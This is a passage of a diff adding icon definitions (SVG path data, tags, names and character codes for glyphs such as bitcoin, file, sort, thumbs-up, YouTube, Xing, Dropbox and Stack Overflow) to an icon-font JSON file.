33.143-29.143v-229.714h9.143c-3.429-0.571-6.857-0.571-9.143-0.571v-164c-3.429-18.286-14.857-38.857-50.857-38.857 0 0 1.143-1.143-63.429 0v-93.714l121.143 0.571c17.714 0 36.571 0 55.429-0.571v-144h88v141.143c23.429-0.571 46.857-1.143 69.714-1.143v-140h88v144c113.143 9.714 202.857 44.571 212.571 148.571zM544 677.143c0-113.143-186.286-96.571-245.714-96.571v193.143c59.429 0 245.714 12.571 245.714-96.571zM503.429 405.143c0-103.429-155.429-88-205.143-88v175.429c49.714 0 205.143 11.429 205.143-87.429z" + ], + "width": 760.0274285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bitcoin", + "btc" + ], + "defaultCode": 61786, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bitcoin, btc", + "id": 311, + "order": 1167, + "prevSize": 28, + "code": 61786 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 311 + }, + { + "icon": { + "paths": [ + "M585.143 292.571v-269.714c8 5.143 14.857 10.286 20.571 16l233.143 233.143c5.714 5.714 10.857 12.571 16 20.571h-269.714zM512 310.857c0 30.286 24.571 54.857 54.857 54.857h310.857v603.429c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h457.143v310.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file" + ], + "defaultCode": 61787, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file", + "id": 312, + "order": 1168, + "prevSize": 28, + "code": 61787 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 312 + }, + { + "icon": { + "paths": [ + "M838.857 272c5.714 5.714 10.857 12.571 16 20.571h-269.714v-269.714c8 5.143 14.857 10.286 20.571 16zM566.857 365.714h310.857v603.429c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h457.143v310.857c0 30.286 24.571 54.857 54.857 54.857zM658.286 786.286v-36.571c0-10.286-8-18.286-18.286-18.286h-402.286c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h402.286c10.286 0 18.286-8 18.286-18.286zM658.286 640v-36.571c0-10.286-8-18.286-18.286-18.286h-402.286c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h402.286c10.286 0 18.286-8 18.286-18.286zM658.286 493.714v-36.571c0-10.286-8-18.286-18.286-18.286h-402.286c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h402.286c10.286 0 18.286-8 18.286-18.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-text" + ], + "defaultCode": 61788, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-text", + "id": 313, + "order": 1169, + "prevSize": 28, + "code": 61788 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 313 + }, + { + "icon": { + "paths": [ + "M680.571 233.143h101.143l-41.143-124.571-6.857-26.857c-0.571-4.571-1.143-8-1.143-11.429h-2.286l-1.714 11.429c-1.714 6.857-2.286 15.429-6.286 26.857zM420.571 822.857c0 5.143-2.286 9.714-5.714 13.714l-182.286 182.286c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143l-182.857-182.857c-5.143-5.714-6.857-13.143-4-20s9.714-11.429 17.143-11.429h109.714v-786.286c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v786.286h109.714c10.286 0 18.286 8 18.286 18.286zM898.286 890.857v133.143h-333.714v-51.429l210.857-302.286c4.571-6.857 9.143-12.571 12-15.429l6.286-5.143v-1.714c-2.286 0-4.571 0.571-8 0.571-4.571 1.143-10.286 1.714-17.143 1.714h-132.571v65.714h-68.571v-130.857h324v50.857l-210.857 302.857c-3.429 5.143-8 10.286-12 14.857l-6.286 6.286v1.143l8-1.143c5.143-1.143 10.286-1.143 17.143-1.143h141.714v-68h69.143zM949.143 378.286v60.571h-164.571v-60.571h42.857l-26.857-82.286h-138.857l-26.857 82.286h42.857v60.571h-164v-60.571h40l131.429-378.286h92.571l131.429 378.286h40z" + ], + "width": 965.7051428571427, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort-alpha-asc" + ], + "defaultCode": 61789, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sort-alpha-asc", + "id": 314, + "order": 1170, + "prevSize": 28, + "code": 61789 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 314 + }, + { + "icon": { + "paths": [ + "M680.571 818.286h101.143l-41.143-124.571-6.857-26.857c-0.571-4.571-1.143-8-1.143-11.429h-2.286l-1.714 11.429c-1.714 6.857-2.286 15.429-6.286 26.857zM420.571 822.857c0 5.143-2.286 9.714-5.714 13.714l-182.286 182.286c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143l-182.857-182.857c-5.143-5.714-6.857-13.143-4-20s9.714-11.429 17.143-11.429h109.714v-786.286c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v786.286h109.714c10.286 0 18.286 8 18.286 18.286zM949.143 963.429v60.571h-164.571v-60.571h42.857l-26.857-82.286h-138.857l-26.857 82.286h42.857v60.571h-164v-60.571h40l131.429-378.286h92.571l131.429 378.286h40zM898.286 305.714v133.143h-333.714v-51.429l210.857-302.286c4.571-6.857 9.143-12.571 12-15.429l6.286-5.143v-1.714c-2.286 0-4.571 0.571-8 0.571-4.571 1.143-10.286 1.714-17.143 1.714h-132.571v65.714h-68.571v-130.857h324v50.857l-210.857 302.857c-3.429 5.143-8 10.286-12 14.857l-6.286 5.714v1.714l8-1.714c5.143-0.571 10.286-0.571 17.143-0.571h141.714v-68h69.143z" + ], + "width": 965.7051428571427, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort-alpha-desc" + ], + "defaultCode": 61790, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sort-alpha-desc", + "id": 315, + "order": 1171, + "prevSize": 28, + "code": 61790 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 315 + }, + { + "icon": { + "paths": [ + "M420.571 822.857c0 5.143-2.286 9.714-5.714 13.714l-182.286 182.286c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143l-182.857-182.857c-5.143-5.714-6.857-13.143-4-20s9.714-11.429 17.143-11.429h109.714v-786.286c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v786.286h109.714c10.286 0 18.286 8 18.286 18.286zM1024 896v109.714c0 10.286-8 18.286-18.286 18.286h-475.429c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h475.429c10.286 0 18.286 8 18.286 18.286zM914.286 603.429v109.714c0 10.286-8 18.286-18.286 18.286h-365.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h365.714c10.286 0 18.286 8 18.286 18.286zM804.571 310.857v109.714c0 10.286-8 18.286-18.286 18.286h-256c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h256c10.286 0 18.286 8 18.286 18.286zM694.857 18.286v109.714c0 10.286-8 18.286-18.286 18.286h-146.286c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h146.286c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 1040.6034285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort-amount-asc" + ], + "defaultCode": 61792, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sort-amount-asc", + "id": 316, + "order": 1172, + "prevSize": 28, + "code": 61792 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 316 + }, + { + "icon": { + "paths": [ + "M694.857 896v109.714c0 10.286-8 18.286-18.286 18.286h-146.286c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h146.286c10.286 0 18.286 8 18.286 18.286zM420.571 822.857c0 5.143-2.286 9.714-5.714 13.714l-182.286 182.286c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143l-182.857-182.857c-5.143-5.714-6.857-13.143-4-20s9.714-11.429 17.143-11.429h109.714v-786.286c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v786.286h109.714c10.286 0 18.286 8 18.286 18.286zM804.571 603.429v109.714c0 10.286-8 18.286-18.286 18.286h-256c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h256c10.286 0 18.286 8 18.286 18.286zM914.286 310.857v109.714c0 10.286-8 18.286-18.286 18.286h-365.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h365.714c10.286 0 18.286 8 18.286 18.286zM1024 18.286v109.714c0 10.286-8 18.286-18.286 18.286h-475.429c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h475.429c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 1040.6034285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort-amount-desc" + ], + "defaultCode": 61793, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sort-amount-desc", + "id": 317, + "order": 1173, + "prevSize": 28, + "code": 61793 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 317 + }, + { + "icon": { + "paths": [ + "M769.143 750.286c0-46.857-38.286-96.571-84-96.571-40 0-65.143 32.571-65.143 74.857 0 41.143 26.286 76 80.571 76 37.143 0 68.571-22.286 68.571-54.286zM420.571 822.857c0 5.143-2.286 9.714-5.714 13.714l-182.286 182.286c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143l-182.857-182.857c-5.143-5.714-6.857-13.143-4-20s9.714-11.429 17.143-11.429h109.714v-786.286c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v786.286h109.714c10.286 0 18.286 8 18.286 18.286zM849.143 783.429c0 115.429-62.857 240.571-198.857 240.571-25.714 0-46.857-4-61.714-9.143-9.143-2.857-17.143-5.714-24-8.571l22.286-64.571c5.143 2.286 11.429 4.571 17.714 6.286 11.429 4 26.286 7.429 42.857 7.429 68.571 0 104-57.143 114.857-116.571h-1.143c-16 17.143-49.714 29.143-83.429 29.143-82.857 0-137.143-65.143-137.143-139.429 0-78.857 60.571-143.429 144.571-143.429 90.857 0 164 74.286 164 198.286zM832 373.714v65.143h-268v-65.143h95.429v-246.857c0-7.429 0.571-14.857 0.571-20.571v-9.143h-1.143l-4 6.857c-2.857 4.571-7.429 10.286-14.857 17.714l-35.429 33.143-46.857-49.143 109.714-105.714h70.286v373.714h94.286z" + ], + "width": 865.7188571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort-numeric-asc" + ], + "defaultCode": 61794, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sort-numeric-asc", + "id": 318, + "order": 1174, + "prevSize": 28, + "code": 61794 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 318 + }, + { + "icon": { + "paths": [ + "M769.143 165.143c0-46.857-38.286-96.571-84-96.571-40 0-65.143 32.571-65.143 74.857 0 41.143 26.286 76 80.571 76 37.143 0 68.571-22.286 68.571-54.286zM420.571 822.857c0 5.143-2.286 9.714-5.714 13.714l-182.286 182.286c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143l-182.857-182.857c-5.143-5.714-6.857-13.143-4-20s9.714-11.429 17.143-11.429h109.714v-786.286c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v786.286h109.714c10.286 0 18.286 8 18.286 18.286zM832 958.857v65.143h-268v-65.143h95.429v-246.857c0-7.429 0.571-14.857 0.571-20.571v-9.143h-1.143l-4 6.857c-2.857 4.571-7.429 10.286-14.857 17.714l-35.429 33.143-46.857-49.143 109.714-105.714h70.286v373.714h94.286zM849.143 198.286c0 115.429-62.857 240.571-198.857 240.571-25.714 0-46.857-4-61.714-9.143-9.143-2.857-17.143-5.714-24-8.571l22.286-64.571c5.143 2.286 11.429 4.571 17.714 6.286 11.429 4 26.286 7.429 42.857 7.429 68.571 0 104-57.143 114.857-116.571h-1.143c-16 17.143-49.714 29.143-83.429 29.143-82.857 0-137.143-65.143-137.143-139.429 0-78.857 60.571-143.429 144.571-143.429 90.857 0 164 74.286 164 198.286z" + ], + "width": 865.7188571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort-numeric-desc" + ], + "defaultCode": 61795, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sort-numeric-desc", + "id": 319, + "order": 1175, + "prevSize": 28, + "code": 61795 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 319 + }, + { + "icon": { + "paths": [ + "M146.286 768c0-20-16.571-36.571-36.571-36.571-20.571 0-36.571 16.571-36.571 36.571 0 20.571 16 36.571 36.571 36.571 20 0 36.571-16 36.571-36.571zM237.714 475.429v365.714c0 20-16.571 36.571-36.571 36.571h-164.571c-20 0-36.571-16.571-36.571-36.571v-365.714c0-20 16.571-36.571 36.571-36.571h164.571c20 0 36.571 16.571 36.571 36.571zM914.286 475.429c0 30.286-12 62.857-31.429 85.143 6.286 18.286 8.571 35.429 8.571 43.429 1.143 28.571-7.429 55.429-24.571 78.286 6.286 21.143 6.286 44 0 66.857-5.714 21.143-16.571 40-30.857 53.714 3.429 42.857-6.286 77.714-28 103.429-24.571 29.143-62.286 44-112.571 44.571h-73.714c-81.714 0-158.857-26.857-220.571-48-36-12.571-70.286-24.571-90.286-25.143-19.429-0.571-36.571-16.571-36.571-36.571v-366.286c0-18.857 16-34.857 34.857-36.571 21.143-1.714 76-69.714 101.143-102.857 20.571-26.286 40-50.857 57.714-68.571 22.286-22.286 28.571-56.571 35.429-89.714 6.286-33.714 13.143-69.143 37.714-93.143 6.857-6.857 16-10.857 25.714-10.857 128 0 128 102.286 128 146.286 0 46.857-16.571 80-32 109.714-6.286 12.571-12 18.286-16.571 36.571h158.286c59.429 0 109.714 50.286 109.714 109.714z" + ], + "width": 914.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thumbs-up" + ], + "defaultCode": 61796, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thumbs-up", + "id": 320, + "order": 1176, + "prevSize": 28, + "code": 61796 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 320 + }, + { + "icon": { + "paths": [ + "M146.286 329.143c0 20-16.571 36.571-36.571 36.571-20.571 0-36.571-16.571-36.571-36.571 0-20.571 16-36.571 36.571-36.571 20 0 36.571 16 36.571 36.571zM237.714 621.714v-365.714c0-20-16.571-36.571-36.571-36.571h-164.571c-20 0-36.571 16.571-36.571 36.571v365.714c0 20 16.571 36.571 36.571 36.571h164.571c20 0 36.571-16.571 36.571-36.571zM882.857 536.571c19.429 21.714 31.429 54.857 31.429 85.143-0.571 59.429-50.286 109.714-109.714 109.714h-158.286c4.571 18.286 10.286 24 16.571 36.571 14.857 29.714 32 62.857 32 109.714 0 44 0 146.286-128 146.286-9.714 0-18.857-4-25.714-10.857-24.571-24-31.429-59.429-37.714-93.143-6.857-33.143-13.143-67.429-35.429-89.714-17.714-17.714-37.143-42.286-57.714-68.571-25.143-33.143-80-101.143-101.143-102.857-18.857-1.714-34.857-17.714-34.857-36.571v-366.286c0-20 17.143-36 36.571-36.571 20-0.571 54.286-12.571 90.286-25.143 61.714-21.143 138.857-48 220.571-48h73.714c50.286 0.571 88 15.429 112.571 44.571 21.714 25.714 31.429 60.571 28 103.429 14.286 13.714 25.143 32.571 30.857 53.714 6.286 22.857 6.286 45.714 0 66.857 17.143 22.857 25.714 49.714 24.571 78.286 0 8-2.286 25.143-8.571 43.429z" + ], + "width": 914.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thumbs-down" + ], + "defaultCode": 61797, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thumbs-down", + "id": 321, + "order": 1177, + "prevSize": 28, + "code": 61797 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 321 + }, + { + "icon": { + "paths": [ + "M525.143 744.571v-89.714c0-18.857-5.714-28.571-16.571-28.571-6.286 0-12.571 2.857-18.857 9.143v128c6.286 6.286 12.571 9.143 18.857 9.143 10.857 0 16.571-9.143 16.571-28zM630.286 674.857h37.714v-19.429c0-19.429-6.286-29.143-18.857-29.143s-18.857 9.714-18.857 29.143v19.429zM304 522.857v40h-45.714v241.714h-42.286v-241.714h-44.571v-40h132.571zM418.857 594.857v209.714h-38.286v-22.857c-14.857 17.143-29.143 25.714-43.429 25.714-12 0-20.571-5.143-24-16-2.286-6.286-3.429-16-3.429-30.857v-165.714h37.714v154.286c0 8.571 0 13.714 0.571 14.857 0.571 5.714 3.429 8.571 8.571 8.571 8 0 15.429-5.714 24-17.714v-160h38.286zM562.857 658.286v83.429c0 18.857-1.143 33.143-4 41.714-4.571 16-14.857 24-30.286 24-13.143 0-26.286-8-38.857-23.429v20.571h-38.286v-281.714h38.286v92c12-14.857 25.143-22.857 38.857-22.857 15.429 0 25.714 8 30.286 24 2.857 8.571 4 22.286 4 42.286zM706.286 732v5.143c0 12.571-0.571 20.571-1.143 24.571-1.143 8.571-4 16-8.571 22.857-10.286 15.429-26.286 22.857-45.714 22.857-20 0-35.429-7.429-46.286-21.714-8-10.286-12-26.857-12-49.143v-73.714c0-22.286 3.429-38.286 11.429-49.143 10.857-14.286 26.286-21.714 45.714-21.714 18.857 0 34.286 7.429 44.571 21.714 8 10.857 12 26.857 12 49.143v43.429h-76v37.143c0 19.429 6.286 29.143 19.429 29.143 9.143 0 14.857-5.143 17.143-14.857 0-2.286 0.571-10.857 0.571-25.714h38.857zM448.571 261.143v89.143c0 19.429-6.286 29.143-18.286 29.143-12.571 0-18.286-9.714-18.286-29.143v-89.143c0-19.429 5.714-29.714 18.286-29.714 12 0 18.286 10.286 18.286 29.714zM753.143 668.571v0c0-49.143 0-101.143-10.857-148.571-8-33.714-35.429-58.286-68-61.714-77.714-8.571-156.571-8.571-235.429-8.571-78.286 0-157.143 0-234.857 8.571-33.143 3.429-60.571 28-68 61.714-10.857 47.429-11.429 99.429-11.429 148.571v0c0 48.571 0 100.571 11.429 148.571 7.429 33.143 34.857 57.714 67.429 61.714 78.286 8.571 157.143 8.571 235.429 8.571s157.143 0 235.429-8.571c32.571-4 60-28.571 67.429-61.714 11.429-48 11.429-100 11.429-148.571zM321.714 296.571l51.429-169.143h-42.857l-29.143 111.429-30.286-111.429h-44.571c8.571 26.286 18.286 52.571 26.857 78.857 13.714 40 22.286 69.714 26.286 90.286v114.857h42.286v-114.857zM486.857 342.857v-74.286c0-22.286-4-38.857-12-49.714-10.857-14.286-25.714-21.714-44.571-21.714-19.429 0-34.286 7.429-44.571 21.714-8 10.857-12 27.429-12 49.714v74.286c0 22.286 4 38.857 12 49.714 10.286 14.286 25.143 21.714 44.571 21.714 18.857 0 33.714-7.429 44.571-21.714 8-10.286 12-27.429 12-49.714zM590.286 411.429h38.286v-211.429h-38.286v161.714c-8.571 12-16.571 17.714-24 17.714-5.143 0-8.571-2.857-9.143-9.143-0.571-1.143-0.571-5.714-0.571-14.857v-155.429h-38.286v167.429c0 14.857 1.143 24.571 3.429 31.429 4 10.286 12.571 15.429 24.571 15.429 14.286 0 28.571-8.571 44-25.714v22.857zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "youtube-square" + ], + "defaultCode": 61798, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "youtube-square", + "id": 322, + "order": 1178, + "prevSize": 28, + "code": 61798 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 322 + }, + { + "icon": { + "paths": [ + "M554.857 710.857v120.571c0 25.714-7.429 38.286-22.286 38.286-8.571 0-17.143-4-25.714-12.571v-172c8.571-8.571 17.143-12.571 25.714-12.571 14.857 0 22.286 13.143 22.286 38.286zM748 711.429v26.286h-51.429v-26.286c0-25.714 8.571-38.857 25.714-38.857s25.714 13.143 25.714 38.857zM196 586.857h61.143v-53.714h-178.286v53.714h60v325.143h57.143v-325.143zM360.571 912h50.857v-282.286h-50.857v216c-11.429 16-22.286 24-32.571 24-6.857 0-10.857-4-12-12-0.571-1.714-0.571-8-0.571-20v-208h-50.857v223.429c0 20 1.714 33.143 4.571 41.714 4.571 14.286 16.571 21.143 33.143 21.143 18.286 0 37.714-11.429 58.286-34.857v30.857zM605.714 827.429v-112.571c0-26.286-1.143-45.143-5.143-56.571-6.286-21.143-20.571-32-40.571-32-18.857 0-36.571 10.286-53.143 30.857v-124h-50.857v378.857h50.857v-27.429c17.143 21.143 34.857 31.429 53.143 31.429 20 0 34.286-10.857 40.571-31.429 4-12 5.143-30.857 5.143-57.143zM798.857 821.714v-7.429h-52c0 20.571-0.571 32-1.143 34.857-2.857 13.714-10.286 20.571-22.857 20.571-17.714 0-26.286-13.143-26.286-39.429v-49.714h102.286v-58.857c0-30.286-5.143-52-15.429-66.286-14.857-19.429-34.857-29.143-60.571-29.143-26.286 0-46.286 9.714-61.143 29.143-10.857 14.286-16 36-16 66.286v98.857c0 30.286 5.714 52.571 16.571 66.286 14.857 19.429 34.857 29.143 61.714 29.143s48-10.286 61.714-30.286c6.286-9.143 10.857-19.429 12-30.857 1.143-5.143 1.143-16.571 1.143-33.143zM451.429 300v-120c0-26.286-7.429-39.429-24.571-39.429-16.571 0-24.571 13.143-24.571 39.429v120c0 26.286 8 40 24.571 40 17.143 0 24.571-13.714 24.571-40zM862.286 729.143c0 65.714-0.571 136-14.857 200-10.857 45.143-47.429 78.286-91.429 82.857-105.143 12-211.429 12-317.143 12s-212 0-317.143-12c-44-4.571-81.143-37.714-91.429-82.857-14.857-64-14.857-134.286-14.857-200v0c0-66.286 0.571-136 14.857-200 10.857-45.143 47.429-78.286 92-83.429 104.571-11.429 210.857-11.429 316.571-11.429s212 0 317.143 11.429c44 5.143 81.143 38.286 91.429 83.429 14.857 64 14.857 133.714 14.857 200zM292 0h58.286l-69.143 228v154.857h-57.143v-154.857c-5.143-28-16.571-68-34.857-121.143-12.571-35.429-25.143-71.429-37.143-106.857h60.571l40.571 150.286zM503.429 190.286v100c0 30.286-5.143 53.143-16 67.429-14.286 19.429-34.286 29.143-60.571 29.143-25.714 0-45.714-9.714-60-29.143-10.857-14.857-16-37.143-16-67.429v-100c0-30.286 5.143-52.571 16-66.857 14.286-19.429 34.286-29.143 60-29.143 26.286 0 46.286 9.714 60.571 29.143 10.857 14.286 16 36.571 16 66.857zM694.857 97.714v285.143h-52v-31.429c-20.571 24-40 35.429-58.857 35.429-16.571 0-28.571-6.857-33.714-21.143-2.857-8.571-4.571-22.286-4.571-42.857v-225.143h52v209.714c0 12 0 18.857 0.571 20 1.143 8 5.143 12.571 12 12.571 10.286 0 21.143-8 32.571-24.571v-217.714h52z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "youtube" + ], + "defaultCode": 61799, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "youtube", + "id": 323, + "order": 1179, + "prevSize": 28, + "code": 61799 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 323 + }, + { + "icon": { + "paths": [ + "M341.143 381.143c0 0-5.714 9.714-146.857 260.571-7.429 12.571-17.143 26.286-37.143 26.286h-136.571c-8 0-14.286-4-17.714-9.714s-4-13.143 0-20.571l144.571-256c0.571 0 0.571 0 0-0.571l-92-159.429c-4-7.429-4.571-15.429-0.571-21.143 3.429-5.714 10.286-8.571 18.286-8.571h136.571c20.571 0 30.857 13.714 37.714 25.714 93.143 162.857 93.714 163.429 93.714 163.429zM801.714 14.286c4 5.714 4 13.714 0 21.143l-301.714 533.714c-0.571 0-0.571 0.571 0 0.571l192 351.429c4 7.429 4 15.429 0.571 21.143-4 5.714-10.286 8.571-18.286 8.571h-136.571c-20.571 0-31.429-13.714-37.714-25.714-193.714-354.857-193.714-355.429-193.714-355.429s9.714-17.143 303.429-538.286c7.429-13.143 16-25.714 36.571-25.714h137.714c8 0 14.286 2.857 17.714 8.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "xing" + ], + "defaultCode": 61800, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "xing", + "id": 324, + "order": 1180, + "prevSize": 28, + "code": 61800 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 324 + }, + { + "icon": { + "paths": [ + "M391.429 437.143c0 0 0-0.571-72-126.857-5.714-9.143-13.714-19.429-29.714-19.429h-105.143c-6.857 0-12 2.286-14.857 6.286-2.857 4.571-2.286 10.857 0.571 16.571l71.429 123.429v0.571l-112 197.714c-3.429 5.714-2.857 11.429 0 16s7.429 7.429 13.714 7.429h105.714c15.429 0 23.429-10.857 28.571-20.571 109.714-193.714 113.714-201.143 113.714-201.143zM748 153.143c-2.857-4.571-7.429-6.857-13.714-6.857h-106.857c-15.429 0-22.286 9.714-28 20-227.429 403.429-234.857 416.571-234.857 416.571s0 0.571 149.714 274.857c5.143 9.143 13.143 20 29.714 20h105.143c6.286 0 11.429-2.286 14.286-6.857s2.857-10.286-0.571-16l-148.571-272v-0.571l233.714-413.143c2.857-5.714 2.857-11.429 0-16zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "xing-square" + ], + "defaultCode": 61801, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "xing-square", + "id": 325, + "order": 1181, + "prevSize": 28, + "code": 61801 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 325 + }, + { + "icon": { + "paths": [ + "M406.286 644.571l276.571-142.857-276.571-144.571v287.429zM512 152c215.429 0 358.286 10.286 358.286 10.286 20 2.286 64 2.286 102.857 43.429 0 0 31.429 30.857 40.571 101.714 10.857 82.857 10.286 165.714 10.286 165.714v77.714s0.571 82.857-10.286 165.714c-9.143 70.286-40.571 101.714-40.571 101.714-38.857 40.571-82.857 40.571-102.857 42.857 0 0-142.857 10.857-358.286 10.857v0c-266.286-2.286-348-10.286-348-10.286-22.857-4-74.286-2.857-113.143-43.429 0 0-31.429-31.429-40.571-101.714-10.857-82.857-10.286-165.714-10.286-165.714v-77.714s-0.571-82.857 10.286-165.714c9.143-70.857 40.571-101.714 40.571-101.714 38.857-41.143 82.857-41.143 102.857-43.429 0 0 142.857-10.286 358.286-10.286v0z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "youtube-play" + ], + "defaultCode": 61802, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "youtube-play", + "id": 326, + "order": 1182, + "prevSize": 28, + "code": 61802 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 326 + }, + { + "icon": { + "paths": [ + "M229.714 404l282.286 174.286-195.429 162.857-280-182.286zM793.143 721.143v61.714l-280 167.429v0.571l-0.571-0.571-0.571 0.571v-0.571l-279.429-167.429v-61.714l84 54.857 195.429-162.286v-1.143l0.571 0.571 0.571-0.571v1.143l196 162.286zM316.571 67.429l195.429 162.857-282.286 173.714-193.143-154.286zM794.286 404l193.143 154.857-279.429 182.286-196-162.857zM708 67.429l279.429 182.286-193.143 154.286-282.286-173.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dropbox" + ], + "defaultCode": 61803, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "dropbox", + "id": 327, + "order": 1183, + "prevSize": 28, + "code": 61803 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 327 + }, + { + "icon": { + "paths": [ + "M736.571 932.571h-638.857v-274.286h-91.429v365.714h821.714v-365.714h-91.429v274.286zM198.286 633.143l18.857-89.714 447.429 94.286-18.857 89.143zM257.143 419.429l38.286-83.429 414.286 193.714-38.286 82.857zM372 216l58.286-70.286 350.857 293.143-58.286 70.286zM598.857 0l272.571 366.286-73.143 54.857-272.571-366.286zM188.571 840.571v-90.857h457.143v90.857h-457.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stack-overflow" + ], + "defaultCode": 61804, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "stack-overflow", + "id": 328, + "order": 1184, + "prevSize": 28, + "code": 61804 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 328 + }, + { + "icon": { + "paths": [ + "M585.143 512c0-80.571-65.714-146.286-146.286-146.286s-146.286 65.714-146.286 146.286 65.714 146.286 146.286 146.286 146.286-65.714 146.286-146.286zM664 512c0 124.571-100.571 225.143-225.143 225.143s-225.143-100.571-225.143-225.143 100.571-225.143 225.143-225.143 225.143 100.571 225.143 225.143zM725.714 277.714c0 29.143-23.429 52.571-52.571 